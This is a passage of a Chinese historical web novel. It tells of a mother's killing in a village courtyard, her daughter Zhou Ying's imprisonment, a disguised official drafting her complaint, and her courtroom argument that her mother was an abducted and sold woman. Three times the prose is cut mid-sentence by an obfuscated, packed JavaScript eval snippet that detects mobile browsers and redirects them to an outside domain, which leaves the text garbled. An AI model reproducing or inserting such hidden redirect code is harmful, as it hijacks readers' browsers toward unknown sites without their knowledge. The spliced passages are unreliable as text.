黑豆喉间发出一声怪响，嘴上终于卸了力，缓缓瘫倒在雪地里，嘴上还死死咬着一大块鲜血淋漓的生肉。 巨痛难捱，徐氏在雪地里又哭又嚎，指使已经看怔的杨固：“还愣着干什么，把人先藏起来，再来背我回去，晚些再拿这小蹄子去换钱。” 杨固猛地点了一下头，扛起周缨就往外跑，刚冲到院门，就听徐氏凄惶大喊：“救我！” 他一返身，就瞧见杜氏已从檐下走进院中，此刻距离徐氏不过一步之遥，手中还拿着方才他用来砸黑豆的那块石头，上头沾染的血正汨汨往下流，坠入雪地，须臾间便消了踪迹。 疯疯癫癫的女人，拿着一块刚取了一条畜生性命还滴着血的石头，赤脚走在雪地里。 这场景实在诡异得骇人，杨固仿佛被定在原地，徐氏也不敢再出声，怕将这疯子激得彻底失了智，只敢哆哆嗦嗦地拖着伤腿往外爬，一身滚满了黑豆的血迹。 黏腻的、腥臭的鲜血糊在她身上脸上，令她不住地干呕起来。 杜氏赤脚往前，手中的石块准确无误地砸在徐氏后脑勺上。 徐氏发出一声痛苦的闷哼，旋即没了动静。 杨固心中大骇，连连往外疾退，杜氏大步紧追而去：“杳杳呢？我听见她的声音了，是不是你们要害她？” “弟妹。”杨固连连唤她，试图唤起她的神智。 杜氏不为所动，紧跟着往前追，丝毫不觉脚下冰冻之寒。 麻袋里逸出一丝轻微的呻|吟声。 “杳杳。”杜氏声音急切，眼神定在轻微起伏的麻袋上。 杨固恍然回神，反手将麻袋往前一扔，冲杜氏喊道：“拿去，你女儿。” 杜氏将石块一扔，半跪在雪地里，颤着手去解封口的绳子。 药效未过，兼被反复抛扔重击了几次，周缨头还晕得厉害，又受了伤，力气尚未恢复，此时看到杜氏，想冲她露出一个安慰的笑。杜氏手忙脚乱地扯下她嘴里的布团，周缨柔柔地唤她一声：“阿娘，我没事，对不住，吓到你了。” 杜氏点点头，呓语似地道：“没事就好，没事就好。谁敢伤你，我都不会放过他，当年我能杀了那混账——” “竟然是你！”杨固原本趁机混去院中查看徐氏的状况，见人早已咽了气，正准备悄悄遁走去报官，谁知忽然听到她这么一句，顿时爆喝一声，“我那弟弟竟然真是你杀的！你个毒妇，蛇蝎心肠，当年竟将官府也蒙骗了去，我今日必叫官府将你们娘俩儿抓了去，判一个死刑，好给我弟弟和老婆子陪葬。” 周缨转头看他，见他眼尾猩红，知他人已到了失去理智的边缘，心道不好。 杜氏缓缓站起身来，重新捡起院中的石块，向杨固走去。 杨固慌不择路，往院中退去，试图用言语恐吓这疯子：“你别乱来，我警告你，你要乱来，我必让你女儿偿命。” 这话反倒激得杜氏眼睛一红，举起石块便往他身上猛砸，杨固被这中邪的疯妇砸得满身是血，满院奔逃，被徐氏的尸身绊了个大马趴，险些一头栽在墙角堆放着的钉耙上。 周缨慌张大喊：“阿娘，快让开！” 然而却已来不及了，杨固抓住钉耙借力起身，反手往杜氏头上一砸，登时血流如注。 “不！”周缨痛苦呼号出声。 “你这毒妇，欠我杨家两条人命！”杨固使劲吃奶力气将钉耙往前推，杜氏被迫急退，口中咿呀乱语，一口鲜血沤喷出一尺开外。 “噗”的一声，鲜血四溅，钉耙将杜氏捅了个穿，生生钉死在院墙上。 周缨心中大恸，却仿佛被人掐住了咽喉，一丝声音也发不出来。 杜氏身体微微悬空，赤脚散发，鲜血断断续续滴下，染红一大片积雪。 杨固见状，心中惶惶，喃喃道：“我没想，我没想……” 重复了十来遍后，忽然长啸一声，转身奔向院门，逃命而去。 14. 郊野冻草（二） 四周忽然清静下来，周缨仿佛神魂抽离，塑像一般被冻在原地，丁点动静都无。 半刻过后，风扬碎雪，劈头盖脸地砸了一身，才令她终于清醒过来，挣扎着往篱笆栏挪去。 四肢被缚，行动迟缓，身下积雪逐渐融化，满地泥泞蹭到身上，脏污满身，她却浑然不觉，眼中再无他物，只挣扎着向杜氏爬去。 不远的距离，她耗费了足足一刻有余，才终于抵达。 杜氏心口的血尚还是温热的，点点滴滴坠下，溅到她脸上，迷了双眼。 “阿娘。”她彷徨而无助地呼唤，声音渐低。 直至身子都要被冻僵时，院外传来一阵混乱的脚步声。 杨成夫妇扭着方才逃跑的杨固过来，一见这副景象，心中惊骇不已，半晌才回过神来。 杨成一拳将人撂倒在地：“我就说你这杂碎鬼鬼祟祟的，准没好事，是你干的？” “不是我，不是我！”杨固抱头鼠窜。 杨成转头看向瑟缩作一团的周缨，连唤了几声“阿缨”。见她已意识模糊，不曾出声回应，遂一把揪住罪魁祸首的衣领，拳头狠狠砸了下去，拳拳到肉，揍得杨固嗷嗷直叫，面目全非，直像滩烂泥似的瘫软在地，奄奄一息，怒气才稍稍平息了一点。 林氏将已经冻晕的周缨拥入怀中，解开绳子抱进室内，提来一壶还未冷尽的温水倒至盆中，替她擦洗身子，好助她尽快恢复体温。 外头吵吵闹闹人声鼎沸，原是杨固奔逃过程中路过五里坪，恰巧撞上出来放炮迎新的杨成，二人寒暄了几句。见他满身带血神色慌张，又是从周缨家这个方向过来的，因素知他们两家人不对付，杨成便留了个心眼，多问了几句。谁知杨固心中有鬼，二话不说便与他扭打起来，不期惊动了附近乡邻。 于是村民纷纷披衣穿靴跟过来，此时见着院中的惨状，纷纷闹嚷起来，有扬声逼问被揍了个半死的杨固真相的，有要没见着影儿的周缨出去解释的，吵吵嚷嚷没个消停。 林氏忍无可忍，“砰”地推开厨房门，站至檐下，叉腰一吼：“吵什么吵，大过年的，出了命案愿意去报官的就去报官，不想帮忙的就赶紧回家过年，存心在这儿碎嘴子看什么热闹，欺负人家只剩下个孤女是不是？” “林婶儿，话也不是这么说。”不知哪个后生小声嘀咕了一句，被素有威信的长辈扬声喝住，只好收了腔。 其余人等陆续住了声，族老站出来主持事宜，安排几个稳重的中年人连夜结伴去报官，另安排剩余人手将院中圈围起来，轮流值守，不让人畜靠近分毫。 - 周缨睁眼时，天际已露出青白色的一线。 帐幔洗得发白，天光与雪光透过薄薄的苎麻布料洒进来，落在她身上。 窗外大雪折枝，簌簌洒落一院白。 她抱膝坐在这张年岁与她相近的架子床上，心里忽然就空了一块。 院中静谧，偶尔传进来一串杂乱的脚步声，间杂着几句含糊不清的人声。 枯坐了片刻，她起身往外走去。 林氏恰从外间拿着一篓子炭进来，见她起了身，惊喜道：“老五家媳妇儿说你冻得厉害，恐怕还要好些时辰才能醒过来，我才说再给你添些炭，果然她这半吊子郎中不靠谱。” “多谢林婶儿，劳烦了。”周缨礼貌客套地冲她说完这话，甚至还抿出了一个淡淡的笑。 林氏心中暗惊，直觉不妙，一时犹疑着顿在原地不敢上前，直到周缨从跟前走过，才猛地将手中竹篓放至一侧柜上，从后抱住了她，恳求道：“阿缨，别去。” “婶儿，那是我娘。”周缨试图推开她。 林氏悲从中来，带了哭腔：“那是个苦命人儿，官府的人刚到，仵作……仵作正准备验尸呢，你不要去，太惨了，不要看。” “没事。”周缨将她扣在自个儿臂上的手指一一掰开，淡声说，“让我去送送。” 林氏让开道，注视着她虚乏无力的背影，终于忍不住落了泪。 院中已被官差接手，年夜里出了这样一起耸人听闻的大命案，被从老婆孩子热炕头的美梦中拉出来，前往这穷乡僻壤查案，各个心里都憋着一股怨气，行事说话全无客气，冷硬地遣散村民，只留下了相关人等听候差遣。 檐下简单搭了一张草席，杜氏就孤零零地躺在上头，盖着一张麻布，仵作伏在她身上验看伤势。 周缨在卧房门口远远看着，目光悲戚地落在她身上。 林氏站在后方，担忧地看着周缨的背影。 小半炷香后，仵作勘验完致命伤，暂作歇息。 周缨走上前，停在草席面前，紧抿双唇，探手将杜氏未曾瞑目的双眼阖上。 一个壮实身躯蓦地停在跟前，遮住了视线。周缨抬头看去，是先前曾来过的那名唤作老金的衙役，冷静地唤了声：“官爷。” “没吓傻？”老金上下打量了她一眼，“命案发生时，只你母女二人和杨固夫妇在场？” 周缨点头。 “行。”老金招手唤手下过来，“看好了，一会儿一并收押，再行问话。” 林氏听得此言，忙制止道：“官爷，咱们阿缨身上又没背人命，大过年的，哪有将人直接收监的道理？再说，她娘这样，她是独女，得替亡人安葬送行。” 老金眼神犀利地盯她一眼：“你也知道是大过年的，官府不受理词讼，若非是命案，我们兄弟才刚返程回县里几日，谁愿意又来受这趟罪。再说杨固一口咬定这命案她也有份，她有没有嫌疑还不好说，只能先行羁押，等开衙再审。结案之前，尸体亦不得下葬，需存放在义庄。” 林氏还要再辩，老金又道：“你别急着替她开脱，据村民的供词，是你们夫妇二人最先发现这起命案，一样跑不掉，等会儿一同回去等着问话。” 缄默已久的周缨出了声：“与他们无关，官爷大可去向杨固求证，当时的确只有我们四人在场，没有旁人。” “官府办案，岂容你一介小民插嘴。”老金喝住她，吩咐将她和林氏分开押去耳房和卧房。 晌午过后，现场勘验完毕，周缨等人被带往平山县衙，分监关押。 - 值此除夕夜，崔述一行将将赶到沧州，稍作休整，便着手处理此行要务。 初十当晚，事情尚无太大进展，崔述仍吩咐束关尽早返程回平山县，束关不肯，崔述只说：“万一她急着动身，你此时回去正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418878|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好赶上。” 束关坚持：“就算十六开衙，至快也要十七才能动身，快马回去只需三日，我多留几日，多少能帮着分担一些。” “无妨。”崔述视线落在手中收集来的密信上，思绪却已如碎云游走，“你先回去候着，若官府那头有所迁延，伺机助助。” 知他素来令出不改的秉性，束关只得领命返程，一路快马，十三那日上午回到周缨住所，却见官府封戒，此间主人已无踪迹，只留两名衙役看守，只得四下打听，而后简短修书传往沧州，并暗中安置下来，一边窥探事情始末，一边等待回信。 崔述于十九入夜之时赶至平山县，细问缘由进展，束关回禀道：“虽只两人丧命，但因两家人的亲缘关系，影响恶劣，也算是平山县难得一遇的大命案。不过知县却还稳得住，遵循年末不理刑名的旧例，生生拖到十六才开衙，简单问了几句当日情况录了口供，就退了堂说择日再审，现下人已在牢里关了快二十日了。” “为何仓促停审？” “我瞧这知县虽昏庸，但手底下有几位刑名师爷和捕快倒还算精明，现场查出不少蛛丝马迹，和她大伯父杨固在堂上所攀咬的出入甚大，故暂时停止问案退了堂。” “如何攀咬？” “他妻子丧了命，据那姑娘的证词，他自个儿身上也背着条人命，想是狗急跳墙，非要将他妻子的死说成是那姑娘所为。郎君也知地方断案，时常断的就是糊涂案，反正当日就他们四人在场，另两人已没了命，若这厮继续胡乱攀咬，还真可能牵连到周缨姑娘。” “周缨？” “郎君不知此女名姓？”束关微怔。 那日押解路上曾听差役交谈间说起崖下便是杨家坪，何况她伯父也是此姓，他自然以为她亦姓杨，老实道：“确实不知。” 束关至此方知，虽郎君特地派他前来护送此女，但这二人是真不算熟悉，只好详说：“这姑娘是甲辰年正月生人，现今才将将满十五岁，一介孤弱，逢此家变，却还算冷静，公堂之上将那晚的情形说得一清二楚，不曾露怯。” “正月？” “对，堂审录信息时所供，确是前几日生辰。” 崔述迟疑片刻，问：“她如今情形如何？” “我设法去探过两次，先入狱时病得厉害，狱卒怕出人命，开了些药吊着一口气，好在撑过来了。” “情绪如何？方寸乱否？” “瞧着倒还好，分开收的监，无人与之交谈，就一直盯着屋顶，不哭闹，也不吵嚷，就一个人闷闷地坐着，安静极了。” 崔述沉默不语。 束关观他神色，试探问道：“可要帮忙料理？事涉官府，咱们如今身份尴尬，我不敢私拿主意，只得等您回信再作决断，不想您亲自过来了。” “既心神未溃，想必不会坐以待毙。”崔述思量片刻，道，“且给她三日，看她如何自处。” “可沧州事急，您不便在此久留，还请您拿定主意早些返程，我留下照办即可。” 崔述抬手，阻了他的话，他只得缄口，自去安排一应住宿安置事宜。 “等等。”崔述负手站在原处片刻，忽道，“安排一下，我去探探她。” 15. 郊野冻草（三） 平山县衙的牢狱占地不大，牢室划分得逼仄，空气流通不畅，潮湿、腥臭的气息四下弥散，间杂着诡异的沙沙声。踏足其间，战栗感如潮一般漫上每寸肌肤，险些令人作呕。 在前引路的狱卒频频回头观察乔作中年商户的崔述，问他是否还要坚持进去探视。 先前被关押在刑部大牢月余，条件虽比这好些，但也大差不差，崔述自然不至于因此萌生退意。 二人继续往里走，半盏茶功夫后，狱卒抬手指向角落里的一间牢室：“就在那儿了。” 崔述站在幽暗的过道里，隔着晦暗的光线，注视着监室里的人。 时辰还早，天际方起了一线淡淡的青白色，她不知是一夜未眠还是起得早，此刻抱膝坐在墙角，定定地注视着屋顶，不知在思量什么。 狱卒催促道：“要去快去，里边这几间关的都是重犯，按规矩不能探监，要是等其他犯人都醒了，准要闹起来。” 崔述没有动作。 周缨却听见了这边的轻微响动，转头往这里看来。 崔述立即往后隐了一步，周缨未曾察觉到他的存在，目之所及，只瞧见狱卒的衣物一角，出声唤道：“这位大哥，劳您过来一下。” 狱卒狐疑地看她一眼，崔述适时将一碇碎银塞给他，比了个噤声的手势。 拿人手短，狱卒将银锭塞进袖中，往里走去。 监室内灯油供应有限，此刻未曾掌灯，只气窗里透出些许薄薄的天色，狱卒看不清周缨的神情，无从揣测她的意图，只好凑近栏杆，压低声音问：“何事？” 下一刻，手中便被塞进了一张触感微韧的纸。 狱卒疑惑地举起，借着朦胧的天色辨了半天，方认出是一张十两面值的宝钞，又喜又惊：“进来时已搜过身，你从哪里得来的银票？莫不是涉案的赃款？” 周缨不答，只平静地看着他。 四目相对，狱卒竟被这一双不起波澜的眸子震住，住了声，迟疑半晌，将银票叠好塞进怀中，一侧嘴角轻抽了下，半扭着头观察四周的动静，喉咙里似含了痰，含糊不清地道：“说吧，什么事？” “今日应当不会过堂？” “是。”狱卒答完，瞥她一眼，“你如何知道？” “上回提审的时候，听其他官爷说五日后才会复审。”周缨淡声道，“既不问案，便不会提审任何犯人对不对？” “你这话什么意思？想出去？”狱卒打断她，“你是重案犯，没门儿。何况这案子闹得人尽皆知，你要逃了，我脱不了责。” “不是，十两不值得您冒这样的险。”周缨道，“是想着明日要复审，想劳您替我请位靠谱的讼师进来，请他开价，酬劳我来付。” 狱卒闻言，将她上下审视一遍，见她还算懂事，冷着脸问：“可有中意的？” “您是行家，劳您帮我挑位水准高的。” 这吹捧令狱卒颇为受用，他衔了根干草在嘴里，做了个成交的手势，假模假样地在狱中巡视一圈，退到过道里，吩咐崔述：“耽误了会儿，天已经快要亮了，犯人都快醒了，你先出去避避，等我布置好再叫你进来。” 崔述依言退出门外相候，片刻过后，狱卒出来，同他仔细交代：“我得先去请个讼师，大约两刻钟后来叫你。你放心，收了你的银子，管保叫你见到人。” “讼师？”方才隔得远，听不清他二人的交谈，乍闻这话，崔述疑道，“她要的？” “是。” 从狱卒方才的举动和此刻的态度可知，周缨定然付出了不菲的代价才换得如此通融，崔述略想了想，说：“你带我去吧。” “你会写字？”狱卒不屑道，“就算会写字，你曾碰过刑名，写过诉状？我干这行十多年了，怎么从未听过县里有你这号人物？” “你不必管。” “不行。我瞧那姑娘不像恶徒，定然是想洗冤出狱。这稍不注意就会让人掉脑袋的事，那姑娘又年纪轻轻的，我既答应了她，自然要将事办好，等会儿你自去探望你的，讼师我另外去请。”狱卒抬手别开崔述，“你让开。” 话音甫落，手心便被塞入一锭银子，他不用低头去瞧，光掂掂重量便知自个儿今日备受财神爷青睐，定然又天降大笔横财了。 他重新端量崔述一眼，普通中年商户打扮，只说是从青水镇上来的，与那姑娘有些渊源，见孤女涉案于心不忍，前来探视。 对于一个常年居于县城不熟乡情的狱卒来说，这番说辞倒是听不出什么破绽来，况此人看着还算文弱并无危险，出手又阔绰，狱卒正自动摇间，崔述又提醒他道：“她让你帮忙请讼师，自然还另有一份给讼师的酬劳。” 狱卒思忖片刻，将银子塞入怀中，警惕地环视四周一圈，清嗓道：“你既如此诚心，想必有几分真本事，先等着，我将里头料理干净，再出来叫你。” 一刻钟后，狱卒果然如约来领崔述进去，边走边劝：“你这种时刻赶来探望，想来同她有些不一般的关系，不会坑害她，我姑且信你一回。只是得提醒你，咱们知县对断案并不上心，一应卷宗能应付复审即可，可诸县上呈州府的卷宗繁多，如何能令上官留意到，诉状自也是关键一环，需要下些功夫，你若没这本事，还是趁早另请他人的好。”两边吃回扣，狱卒这趟大丰收，嘴角翘得压不住，善意地多了两句嘴。 崔述应下：“多谢赐教。” 见他油盐不进，狱卒眉峰一挑，指着最靠近门口的一间牢室说：“我把人提出来了，普牢允许探视，但隔墙有耳，说话仔细些。” 崔述弯腰迈入这间窄小的监室，等身后落锁声响起，脚步声远去，抱膝坐在书案前的女子才坐正身子，抬头往这边看来。 灯盏文房先已备好，烛火跳跃，在斑驳的土墙上映出她比先前初识时还要瘦上三分的身形。 崔述掀袍在她对面盘坐下来，落入眼底的，是一张颧骨微突、下颌轻微凹陷的脸。 他一时无言，半晌方说：“姑娘所涉之案影响颇大，我先前已有所耳闻，姑娘今日之举，是想要录一份完整的供词呈交知县，以防当堂口述有所错漏？” 眼前的中年男人衣着打扮还算光鲜，看得出略有薄资，想来能凭此业立足，当有些真本事。此时境况，周缨只能选择相信他，沉默片刻后，如实相告：“不是。我请先生来，是要先生代写一份正儿八经的诉状，状告杨固夫妇强卖人口、杀害弟媳。” 崔述没有应声。 “先生为何不说话？” “姑娘对律法可有过了解?” “这话什么意思？” “便是故杀之罪，尊长谋杀卑幼，也当处流刑或徒刑，倘定性为过失杀人，甚可罚银或免刑。” 周缨不解：“我只知杀人偿命。” “亲属相犯，量刑不同。尊长犯案，当减其罪，定律如此。” 周缨神色微变。 “强卖人口在律法上称之为略卖，但依我所闻，姑娘指的是杨固夫妇欲将你强嫁之事？” 得到肯定回答，崔述早有所料似的，接道：“同样，略卖良人本当处斩刑，但尊长对卑幼犯案，律法对其有所宽宥，减罪一等。何况姑娘心里应当有数，虽说杨固夫妇确实收取了对方的好处，但这是卖金还是给私媒的居间酬劳尚需论断，此事到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427291|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能否定性为略卖还难说，恐至多杖刑。” “律法不公。”周缨静了片刻，说，“我不服。” “律法有律法的考量，公与不公暂且不论，但普天之下皆受此律管制。” 垂在身侧的手无意识地抠住身下泛潮的枯草垫子，指甲缝中混入草屑，扎入皮肉，带起一丝刺痛，令周缨眉头紧蹙。 “而且，方才我所说的这些，是以案件证据确凿、堂官秉公办案为基础的。” “真相如此，我未曾撒谎。” “你请我来，我自然站在你的立场，暂且就当胥吏从现场勘验出的证据的确能够佐证你的说辞，那后一条呢？” 周缨脸色微变，闭口不答。 “自来官府办案，多以拖字为要，这等重大刑案，拖到三月审结期限再作判决不在话下。”崔述看向她眼下的青黑，点破她心中所想，“收监至今已逾廿日，只草草提审过一回，知县的态度，你想必已经猜出几分来了，否则也不会贸然行今日之举。既然如此，平心而论，你觉得你有几成胜算？” 周缨仍旧缄默。 “姑娘心里已经有答案了。” “请先生指点。” “清官廉吏难遇，利字开道，或可事半功倍。” “收买？”周缨眉眼间皆是不屑之色，“小民遇事，不可能不考虑这条路，但依我的家境，恐怕填不饱这官府上下数十张狮子口。” “杨固之子也填不饱，你只要比他强些就有胜算。” 周缨目光落在他左颊一道轻微凸起的瘢痕上，语带嘲意：“讼师都是靠这样的手段赢官司的？” “怎么？姑娘瞧不上？” “也不是瞧不上，有捷径谁不想走。”周缨注视着他，目光如水一般沉静，“但我想真正赢一回。” “那将当日之事情仔细说来。”崔述同她对视一眼，不再相劝，垂首整理好纸张，执笔蘸墨，揽袖落笔。 周缨冷静地讲述着当晚的经历，崔述写到末尾，忽地停了笔，抬头看向她，最后确认：“姑娘想要的是洗清冤屈重获自由，还是替亡人讨个公道？” “这两样，不可以都要？” “辅以其他证据，姑娘洗脱嫌疑不难。要以命换命，按律确有难度。” 周缨越过一尺见方的小窗往外望去，天际淡扫一层薄薄的青色，这时节看去，令人无端联想到薄雾里的翠竹山，轮廓也是这样浅淡的青色。 “先生是想劝我放弃？除了上缴买命钱，我没有第二条路可走？” “不是。是想告诉姑娘，要达目的，得审时度势略行变通，有时，更需狠下心付出点代价。” 周缨猛然抬头，将他上下打量了个遍，才缓缓收回目光。 崔述只作不觉，重新提笔，将方才的诉状接着往下写。 监室寂静，笔尖在纸面上划过的沙沙之声萦在耳畔，周缨闭眼，牙齿无意间咬破下唇，刺痛感与血腥味弥散开来。 崔述抬眸看去，执笔的手一颤，尖端的墨汁迅速洇染上纸面，留下一小团污渍。 周缨睁开双目，平静道：“我想好了，劳先生再写一张吧。” 崔述颔首，将方才被毁的纸张揉作一团，重新铺纸落笔。 周缨视线落在他的指骨上，右手第二指节蜷曲的角度有些怪异，落笔时不太自然。 感受到她的目光，崔述手微微一滞，又若无其事地继续往下写。 “倘若——”周缨忽然不易觉察地哽咽了一下。 崔述抬头，破天荒地从她如墨的双瞳里看出了浓郁的悲伤和哀怜。 “倘若，死者不是凶犯亲属呢？” 16. 郊野冻草（四） 春耕未启，诸农得闲，又兼连日风清气朗，山路干硬易行，翌日一早，县衙门口便聚集了远近乡里赶来的看客，其中尤以杨家坪和县城居民为主。 巳时一到，役吏开门列阵，诸客入内，主官落座，开堂过审。 五日复审乃刑部定规，意为核对涉案之人前后两次所供之词是否矛盾，从而辅助判断供词真假。 主审官依次讯问完杨固、周缨和赵铁匠，又问完杨成夫妇及杨家坪十数证人，着人录完供词，便如上次一般吩咐退堂，托词要差人到现场再次取证后再审。 众人兴致缺缺，怨声四起，周缨忽然扬声唤住主审官：“知县留步，我有事要奏。” 此案影响非同小可，围观人数甚众，知县清楚不好轻易敷衍，只得返身坐下，语气不善地问：“案犯还有何事漏报？” 周缨自怀中取出一叠整整齐齐的纸，双手平举过眉间：“我要告状，此为诉状。” “你自身嫌疑尚未洗脱，若要告状，等宣判后再告不迟。” 周缨将纸举高：“我所告之事，与此案实为同一案，请知县一阅。” 底下上百双眼睛看着，知县只得让人呈上，待草草阅过一遍后，微眯双目，眸中露出锐利的凶光：“此状为何人所写？” 周缨未作答。 见知县反应怪异，随侍的刑名师爷忙将诉状取过一观，登时面色凝重。 知县心下亦浮起几分不安，面上却只冷哼一声：“凡涉命案者皆为重犯，不得任何人探视，你一个目不识丁的乡野村妇，这诉状从何而来？”说罢提手掣令签，“按律，先杖十以作惩戒，再行讯问。” 知县年过不惑，多年收刮的油水早已侵脑入脏，脑满肠肥，一脸横肉，颇显凶相。 周缨与其对视，丝毫没有被他经年积压的官威震住，冷静发问：“敢问知县，《永昌律疏》第三百二十条为何？” 知县不想竟被一大字不识的卑贱农女问住，见堂下众人皆目不转睛地盯着自个儿，面子上挂不住，斥道：“与此何干？重犯不得探视乃《永昌律》白纸黑字所规定，即便拿出注疏来，你也犯禁了。”说着见书吏在旁使眼色，忙住了声。 “《永昌律》刑名篇虽然的确有知县老爷所说的这条规定，但《永昌律疏》第三百二十条将此条注解为，各级法司在审理重案时，不得允准探望重犯，但讼师了解案件不在其列，以保公正。 “因《永昌律》行文精简，各级法司水平又参差不齐，为防断案者在裁断时运用不当，当今右相、前任刑部尚书徐涣曾于七年前主持注释律文，形成《永昌律疏》，由今上颁布，通行全国，各府州县莫不遵从。” 堂下轻微议论声起，林氏顾不得官府威严，侧头直愣愣地看着周缨，嘴巴微张，似是欣喜，又似不敢置信。 “纵然《律疏》规定可以允准犯人与讼师会面，但亦需先行报至官府，获准再见。”知县不忿地驳斥，见书吏冲他摆手，犹豫片刻，挥手撤退堂下执杖的皂班，“也罢，先听听你所诉为何，稍后再论。” 周缨长吸一口气，用全场皆可听得一清二楚的声量道：“我今日有三诉，一诉——”她转头看向脑袋缠满布条畏缩成一团的杨固，眼神平静而肃杀，“一诉杨家村村民杨泰，也就是我已然亡故的生父，略卖我母，也即本案中的死者杜氏。” 堂下众人哗然，杨家坪众人更是瞬间炸开了锅，七嘴八舌叽喳个不停。 知县着人维持好堂中秩序，令她继续往下将细节说来。 “我母亲本名周宛，为宁州棠县人士，十六年前，即永昌八年，被人牙子略卖南下至平山县，杨泰将人买下，顶替亡妻杜氏之名，隐匿于家中，至永昌十九年，杨泰身死。《永昌律》规定，略卖良人买卖同罪，即便杨泰尚还存世，仍当处以斩刑。” “可有证据？” “年已久远，并无物证，但堂中便有一位人证。杨泰真正的原配妻子杜氏身弱，自嫁到杨家起便一直深居简出养病，虽不到一月就仓促去世，但自家兄弟总该认得弟媳。” 知县转向杨固，质问道：“此话当真？从实招来。” 杨固本就心内惶惶，不知周缨突然翻出此旧账是何意，反应不及，口快于心：“我弟弟五年前摔死在了沙河里，尸骨都没找着，青天老爷明断，人都已经死了，现在追究这些还有什么意义？”说罢又转头盯着周缨，目露凶光，“何况杜氏那老东西死前曾亲口承认，我弟弟就是她所杀！” 堂外喧声复起，役吏水火棍点地，连喝“肃静”，众人方安静下来。 “知县大人，他承认了。”周缨停顿片刻，接道，“永昌十三年，我县重录户帖，杨泰为我所录姓氏为周，既不随父也不随母，实为世所罕见，对外只称我为抱养，实是嫌我贯他姓晦气，兼我母亲苦苦哀求，故才如此。此事当时村中乡邻也曾私下议论过几年，今日我将答案公之于众，是非论断，大伙心里自有判断。” 堂外有同村村民出来作证，纷纷说此事诡异，早年间从未听杨泰提起过这丫头乃是抱养，村民们也都将周缨视作杨家骨血，直到那年县上派人下来核验十年间人口变动情况并重录户帖，杨泰却正式为她录了周姓。 当时众人讶异，杨泰也不肯多说，反倒是后来同村民斗酒喝醉后说漏过嘴——“花了老子那么多钱，最后只生出个死丫头片子，跟着老子姓多晦气，就当赏她了”。村民们当时不知是何意，但杨泰当时醉得吓人，但凡有人追问就提起条凳要打人，模样可怖，至今仍有几人记得此事。 几人的证词和周缨所言互相佐证，堂下众村民既觉惊讶，又觉颇合情理，窃窃私语一阵，渐渐平息下来。 杨成和林氏惧怕堂官，低垂着头，生怕招来祸患，却时不时地转头往这边瞥上一眼，眼神里满是藏不住的担忧。 周缨冲他们轻轻颔首，示意他们安心，二人才重新怯懦地垂下了脑袋。 等书吏录完数名村民的证词，知县捋了捋长须，咳嗽清嗓，不疾不徐地问：“虽有几分合情理，但不过是推测，可有实证？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431289|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “杨家家境窘迫，杨泰又是个酒鬼兼赌鬼，出了名的好吃懒做，名声稀烂，附近人家没有愿将姑娘嫁过去受糟践的。好不容易遇上杜家，因相隔较远不曾耳闻这些恶闻，又受天灾缺钱得紧，愿将杜氏许配给他，谁知杜氏身子太差，过门后不到一月即病亡，若消息传开，杨泰恐怕是一辈子老光棍的命，故将杜氏悄悄下葬，绝口不提。” “恰好那年人牙子挟我母亲到了平山县，杨泰在赌桌上听闻此事，正巧当日运气好，赢了不少，又同庄家借了些钱，悄悄将我母亲买下，趁夜带回家，自此锁在家中。直至一年后，杜父亡故，杜氏兄长又憎恶杨泰品行不愿再与其有所牵涉，举家搬迁，杜杨两家自此断了往来，这桩往事才成了定局，彻底不为人所知。” 周缨微抿下唇，接道：“虽杜氏已逝十余年，出嫁前又极少露面，乡邻恐难辨认形貌，兄长又已远走他乡，难寻其回乡作证，但此事仍有铁证。真正的杜氏葬在杨家坪后山西南方位的竹林旁，杜氏幼时曾摔断过腿，右腿骨与常人有异，杜氏兄长应当清楚此事可以作证，而我母亲右腿未曾受过骨伤。另有一件，仵作验尸时想必已经知晓，我母亲为小脚，但青水镇地处深山以农为生，农家女子断没有裹足妨碍生计的。还请知县派人查验这两条线索，若我此言为真，则此事定然无假。” 知县沉吟片刻，吩咐胥吏立即去查，又问周缨：“姑且信你。但纵然此事是真，人死灯灭，又与此案有何关系？” 周缨抬眸望他一眼，对他这般迟钝并不意外，平静接道：“自然是与我的后两诉有莫大的干系。按《永昌律》，略人为妻者，婚姻离正，冒妄入籍者，还归本贯，子女归宗。既然买良人为妻者婚姻作废，户帖追毁，被略者削还原籍，子女归宗，那于律法之上，我母亲与杨泰并算不得夫妻，自然也不是杨固弟媳，我亦非杨固侄女，我们之间并无亲属关系。” 